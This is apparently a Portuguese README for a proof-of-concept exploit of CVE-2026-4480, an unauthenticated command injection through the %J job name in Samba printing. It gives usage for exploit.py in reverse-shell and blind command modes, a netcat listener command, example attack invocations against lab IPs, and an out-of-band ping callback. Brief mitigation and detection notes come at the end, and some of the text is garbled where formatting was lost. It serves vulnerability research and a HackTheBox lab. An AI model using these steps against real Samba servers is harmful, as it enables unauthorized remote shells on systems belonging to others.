
Exploit de prova de conceito para CVE-2026-4480, uma execução remota de comandos não autenticada no subsistema de impressão do Samba via injeção %J. Inclui modos de shell reverso e execução de comandos cega, com orientação de detecção e mitigação.
%J) no SambaImportante — Leia isto primeiro:
Este repositório e oexploit.pysão fornecidos apenas para fins educacionais e de pesquisa. Não use este código contra sistemas, redes ou serviços para os quais você não tenha autorização explícita e por escrito. O acesso não autorizado a sistemas de computador é ilegal e antiético. Ao usar este código, você concorda em seguir as leis aplicáveis e as políticas institucionais.
Execução remota de comandos não autenticada no subsistema de impressão do Samba. Quando um trabalho de impressão termina de ser spoolado, o Samba executa o print command configurado através de system(), substituindo %s (caminho do arquivo de spool) e %J (nome do trabalho fornecido pelo cliente) na string. Antes da correção, o nome do trabalho era passado com a única transformação ' → e nada mais, portanto , , , espaços, , e crases chegam ao shell. Um que referencia é, portanto, um ponto de injeção no shell e, como convidados podem enviar trabalhos de impressão, o problema é .
_|;&<>print command%Jprint command externo que referencia %J (estilo printing = sysv). printing = cups / iprint passam pela API do CUPS e não são afetados.sudo apt install python3-samba
print command referencie %J.python3 exploit.py <rhost> <lhost> <lport> [-P PRINTER] [-c CMD]
| Arg / opção | Significado |
|---|---|
rhost | Host / IP do Samba alvo |
lhost | IP do seu listener |
lport | Porta do seu listener |
-P, --printer | Nome do compartilhamento de impressora convidado (padrão: HP-Reception) |
-c, --cmd | Executar um comando arbitrário em vez de um reverse shell |
# terminal 1: listener
nc -lvnp 4444
# terminal 2: disparar o exploit
python3 exploit.py 10.129.244.177 10.10.14.100 4444
Você deve obter um shell como a conta de serviço de impressão (ex.: nobody).
python3 exploit.py 10.129.244.177 x x -c 'id > /dev/shm/o 2>&1'
Como a execução é cega (o comando é executado no servidor e não retorna nada no canal RPC), confirme primeiro fora da banda, ex.: um callback ICMP que você monitora com tcpdump -ni tun0 icmp:
python3 exploit.py 10.129.244.177 x x -c 'ping -c 3 10.10.14.100'
print command = /usr/local/bin/print-helper %s '%J', remova %J ou mude para printing = cups.smbd gerando shells (sh/bash/nc/python/curl) e nomes de documentos contendo metacaracteres de shell.Criei uma máquina no HackTheBox chamada Abducted para demonstrar a vulnerabilidade e dar a você um exemplo prático de como atacantes poderiam explorá-la em um ambiente mal configurado.